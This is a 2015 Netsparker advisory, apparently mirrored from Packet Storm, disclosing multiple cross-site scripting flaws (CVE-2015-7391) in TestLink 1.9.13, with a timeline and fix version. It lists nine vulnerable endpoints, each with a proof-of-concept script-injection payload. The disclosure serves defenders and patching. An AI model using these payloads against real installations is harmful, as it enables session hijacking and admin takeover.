TestLink 1.9.13 Cross Site Scripting

2015-10-0700:00:00
Omar Kurt
packetstormsecurity.com
0.001 Low
EPSS
Percentile
45.3%
JSON
`Information  
--------------------  
Advisory by Netsparker.  
Name: Multiple XSS Vulnerabilities in TestLink 1.9.13  
Affected Software : TestLink  
Affected Versions: 1.9.1.3 and possibly below  
Vendor Homepage : http://testlink.org/  
Vulnerability Type : Cross-site Scripting  
Severity : Important  
Status : Fixed  
CVE-ID : CVE-2015-7391  
Netsparker Advisory Reference : NS-15-016  
  
Description  
--------------------  
By exploiting a Cross-site scripting vulnerability the attacker can  
hijack a logged in user’s session. This means that the malicious  
hacker can change the logged in user’s password and invalidate the  
session of the victim while the hacker maintains access. As seen from  
the XSS example in this article, if a web application is vulnerable to  
cross-site scripting and the administrator’s session is hijacked, the  
malicious hacker exploiting the vulnerability will have full admin  
privileges on that web application.  
  
Technical Details  
--------------------  
Proof of Concept URLs for XSS in TestLink 1.9.13:  
  
/testlink-code-1.9.13/lib/results/tcCreatedPerUserOnTestProject.php  
Parameter Name selected_end_date  
Parameter Type POST  
Attack Pattern '"--></style></scRipt><scRipt>alert(0x008360)</scRipt>  
  
/testlink-code-1.9.13/lib/results/tcCreatedPerUserOnTestProject.php  
Parameter Name selected_start_date  
Parameter Type POST  
Attack Pattern '"--></style></scRipt><scRipt>alert(0x007F5A)</scRipt>  
  
/testlink-code-1.9.13/lib/testcases/containerEdit.php  
Parameter Name containerType  
Parameter Type POST  
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0053E8)</scRipt>  
  
/testlink-code-1.9.13/lib/testcases/listTestCases.php?feature=edit_tc  
Parameter Name filter_tc_id  
Parameter Type POST  
Attack Pattern "><body onload=alert(9)>  
  
/testlink-code-1.9.13/lib/testcases/listTestCases.php?feature=edit_tc  
Parameter Name filter_testcase_name  
Parameter Type POST  
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0050D4)</scRipt>  
  
/testlink-code-1.9.13/lib/testcases/tcImport.php?containerID=2&bIntoProject=1&useRecursion='"--></style></scRipt><scRipt>alert(0x004898)</scRipt>  
Parameter Name useRecursion  
Parameter Type GET  
Attack Pattern '"--></style></scRipt><scRipt>alert(0x004898)</scRipt>  
  
/testlink-code-1.9.13/lib/testcases/tcSearch.php  
Parameter Name targetTestCase  
Parameter Type POST  
Attack Pattern "><body onload=alert(9)>  
  
/testlink-code-1.9.13/lib/testcases/tcSearch.php  
Parameter Name created_by  
Parameter Type POST  
Attack Pattern "><scRipt>alert(9)</scRipt>  
  
/testlink-code-1.9.13/third_party/user_contribution/fakeRemoteExecServer/client4fakeXMLRPCTestRunner.php  
Parameter Name Referer  
Parameter Type HTTP Header  
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00FF1E)</scRipt>  
  
For more information on cross-site scripting vulnerabilities read the  
following article:  
https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/cross-site-scripting-xss/  
  
Advisory Timeline  
--------------------  
15/09/2015 - First Contact  
02/10/2015 - Vendor Fixed  
05/10/2015 - Advisory Released  
  
Solution  
--------------------  
https://github.com/TestLinkOpenSourceTRMS/testlink-code/releases/tag/1.9.14  
  
Credits & Authors  
--------------------  
These issues have been discovered by Omar Kurt while testing  
Netsparker Web Application Security Scanner  
(https://www.netsparker.com).  
  
About Netsparker  
--------------------  
Netsparker web application security scanners find and report security  
flaws and vulnerabilities such as SQL Injection and Cross-site  
Scripting (XSS) in all websites and web applications, regardless of  
the platform and technology they are built on. Netsparker scanning  
engine’s unique detection and exploitation techniques allow it to be  
dead accurate in reporting vulnerabilities, hence it does not report  
any false positives. The Netsparker web application security scanner  
is available in two editions; Netsparker Desktop and Netsparker Cloud.  
Visit our website https://www.netsparker.com for more information.  
  
--   
Onur Yılmaz - National General Manager  
  
Netsparker Web Application Security Scanner  
T: +90 (0)554 873 0482  
`
0.001 Low
EPSS
Percentile
45.3%
JSON
Related for PACKETSTORM:133891